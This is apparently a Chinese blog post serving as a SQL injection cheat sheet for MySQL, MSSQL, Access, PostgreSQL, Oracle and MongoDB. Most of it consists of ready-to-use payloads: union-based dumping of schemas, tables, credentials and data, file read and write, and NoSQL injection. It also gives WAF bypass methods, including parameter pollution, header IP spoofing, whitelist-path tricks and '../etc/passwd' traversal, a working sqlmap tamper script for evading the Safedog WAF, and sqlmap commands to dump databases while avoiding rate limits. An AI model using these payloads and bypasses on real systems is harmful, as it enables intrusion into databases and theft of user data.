判断数据库类型
https://blog.csdn.net/weixin_43749601/article/details/115369123
MYSQL注入
基本语句
判断注入点
老方法: and 1 = 1 页面正常 and 1 = 2 页面错误 可能存在注入点
1.明确参数类型
- 数字,字符,搜索,JOSN等
2.明确请求方法
$_GET使用get请求参数$_POST使用post请求参数$_COOKIE使用cookie请求参数$_REQUEST任何方式都可以传入参数$_SERVER通过传入HTTP头参数获取信息(只适用于php)
SQL语句干扰符号',",%,),}等
判断注入行数
?id=1 order by 1 ?id=1 order by 2 ?id=1 order by x
信息收集
数据库版本:version() 数据库名字:database() 数据库用户:user() 操作系统:@@version_compile_os
JOSN注入
{"name":"111","passwd":"111"}
注入
{"name":"111' and 1=1#"}
爆库
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'
爆列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'
获取数据
?id=-1 union select 1,2,group_concat(已知字段名,':',已知字段名) from 已知表名
小贴士
如果遇到不同数据库中有同名表时,会显示第一个创建的表,或当前数据库中的表,如果想要查询的表在下面,可以同时加上数据库名和表名 id=-1 union select group_concat(column_name),2 from information_schema.columns where table_schema="root" and table_name="users"
sql注入读写文件(注意路径用“/”)
load_file():读取函数
select load_file('c:/pm.txt')
into outfile或into dumpfile:写入函数
select 'x' into outfile 'd:/pm.txt'
Access注入
access数据库
- 表名 -> 列名 -> 数据 其余数据库
- 数据库名 -> 表名 -> 列名 -> 数据
access注入时,表名和列名只能靠猜 如果猜不到的话:
MSSQL注入
判断是不是MSSQL数据库
?id=1 and (select count(*) from sysobjects)>0 --
判断注入点
and 1 = 1 and 1 = 2
判断字段数
?id=-1 union all select null,null,unll,unll
大体与mysql注入相似 可以参考
https://www.cnblogs.com/lxfweb/p/12675023.html
Postgre注入
基本语句
获取所有的数据库
select datname from pg_database;
获取当前数据库下所有的表
select tablename from pg_tables where schemaname = 'public'
或
select table_name from information_schema.tables where table_schema='public'
获取当前表的列名
select column_name from information_schema.columns where table_name = 'products';
获取当前表的值
select name from products
Oracle注入
Oracle 使用查询语句获取数据时需要跟上表名,在没有表的情况下可以使用dual,dual是Oracle的一个虚拟表,用来构成select的语法规则,且Oracle保证dual里永远只有一条记录
union select 1,2 form dual
探测当前数据库用户
select user from dual;
获取用户所拥有权限的数据库
select distinct owner from all_tables
获取当前数据库中的表(由于Oracle 中使用 Schema 的概念将每个用户的数据进行分离,Schema 其实类似于命名空间。默认情况下,Schema 的名称同用户名称相同)
-- 所有用户的表
select distinct table_name from all_tables where owner = 'SYSTEM'
-- 当前用户的表
select table_name from user_tables;
-- 包括系统表
select table_name from dba_tables where owner = 'SYSTEM';
获取当前SYSTEM数据库中表USER表的字段
select table_name from all_tables where owner='SYSTEM' and table_name like 'USER%'
(使用like是包含表名包含USER的表,不是等于USER的表)
select column_name from all_tab_columns where table_name ='USERS_KVHXKJ'
获取值
select USERNAME_ETSGGX,PASSWORD_OEDQBQ from USERS_KVHXKJ
MangoDB注入
获取所有字段名
id=1'}); return Object.keys(this); var dummy='
查询回显位置
id=1'});return ({'title':'1','content':'2
查询数据库名称
id=1'});return ({'title':tojson(db),'content':'2
查询表名称
getCollectionNames():返回所有集合名称数组id=1'});return ({'title':tojson(db.getCollectionNames()),'content':'2
查询字段结构
Authority_confidential:目标集合名find()[0]:获取集合第一条记录find()[1]:获取集合第二条记录id=1'});return ({'title':tojson(db.Authority_confidential.find()[0]),'content':'2
Access偏移注入
access数据库没有类似于mysql的information_schema这样的系统索引库,所以我们只能根据经验靠猜了
?id=1513 and exists(select * from admin)
确定目标表的字段数量
?id=1513 and exists(select * from admin order by 6)
偏移注入的基本公式
- 联合查询所要补充的字段数 = 当前字段数量 - 目标表的字段数 x N
一级注入
?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, * from admin
二级注入
?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
使用sqlmap
基本语法
python sqlmap.py -r 抓包文件 --batch --file-read "../../../../../../../../../../../../../../../../../..//filename" --tamper "space2comment"
然后去结果文件中找答案
sqlmap脱库
python sqlmap.py -r 抓包文件 --dump
或者使用sqlmap基础爆破方法sqlmap
waf绕过sql注入
数据
- 大小写
id=-1 uNIoN sELecT 1,2,3# - 加密解密
- 编码解码
id=-1%252f%252a*/UNION%252f%252a /SELECT - 等价函数
- 特殊符号
- 反序列化
- 注释符混用
id=-1 union select 1,2,3# id=-1 union%23a%20select 1,2,3# %23是#,a用来截断匹配,%20换行符 - 内联注释
/*!xxxxxx*/ 进行注入时mysql会把!后面的当作sql语句直接执行 注意:在!后面加上版本号 当!后面接的数据库版本号小于自身版本号,就会将注释中的内容执行 当!后面接的数据库版本号大于自身版本号,就会当作注释来处理方式
- 更改提交方式
- 变异 其他
- Fuzz大法
这不是一个工具,这是一种思想,类似于爆破,可以尝试编写字典,然后替换注释符进行绕过 - 数据库特性
- 垃圾数据溢出
- HTTP参数污染
id=-1 union select 1,2,3# id=1/**&id=-1%20union%20select%201,2,3%23*/ 安全狗收到两个参数 1 /**-1%20union%20select%201,2,3%23*/ 后面注释绕过 但是数据库会执行后面那个 -1%20union%20select%201,2,3%23
方式一:IP白名单 从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造Ip绕过的情况。 测试方法:修改nttp的header来bypass waf
x-forwarded-for
x-remote-IP
x-originating-工P
x-remote-addr
x-Real-ip
方式二:静态资源 特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.s.9.201/sql.php ?id=1
http://10.9.9.201/sql.php/1.j=?id=1
备注: aapx/php只识别到前面的.aspx/ .php后面基本不识别
方式三:url白名单 为了防止误拦,部分waf内置默认的白名单列表,如acmin/managerl system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的uzl构造姿势:
http://10.s.s.201/=ql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.s.201/../../../manage/../sql.asp?id=2
waf通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/ manage/&b=../etc/passwcl绕过防御规则。
sqlmap绕过waf
使用sqlmap的tamper脚本进行绕过 但是自带的脚本只能绕过ctf比赛那种题目,实战中需要自己编写
sqlmap绕过安全狗 首先编写bypassdog.py文件
#!/usr/bin/env python
import re
from lib.core.settings import UNICODE_ENCODING
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload = payload.replace(" ","/*/!%!/*/")
payload = payload.replace("()","(/*/!%!/*/)")
payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload)
payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload)
payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload)
payload = re.sub(r"(?i)(/AS/)",r"//*!00000--%20/*%/%0aAS*//",payload)
return payload
其实就是根据前面的手注来修改payload
然后使用sqlmap
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassdog.py" --proxy "http://127.0.0.1:8080/" --random-agent
- --tamper "bypassdog.py" 使用的脚本
--proxy "http://127.0.0.1:8080/"挂代理,使用burpsuit查看爆破情况- --random-agent 使用随机http头,slqmap的头会被检测到
如果对方开启了流量控制,那么我们使用sqlmap爆破时,会因为速度太快,封禁我们的ip
1.可以使用到浏览器爬虫http头
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassdog.py" --proxy "http://127.0.0.1:8080/" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763"
- --user-agent= 设置为搜索引擎的http头,可以进行爬虫
2.可以使用延迟注入
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassdog.py" --proxy "http://127.0.0.1:8080/" --random-agent --delay 1
或者
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassdog.py" --proxy "http://127.0.0.1:8080/" --random-agent --safe-freq 3
- --delay 1
- --safe-freq 3
3.本地脚本 sqlmap去注入本地脚本 -> 本地搭建脚本(请求数据包自定义编写)-> 远程地址 (不太会用)
<?php
$data = array(‘foo' => ‘bar');
$data = http_build_query($data);
$opts = array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencodedrn' . 'Content-Length: ' . strlen($data) . '\r\n', 'content' => $data));
$context = stream_context_create($opts);
$html = file_get_contents('https://wenda.shukaming.com', false, $context);
echo $html;
?> 
Comments NOTHING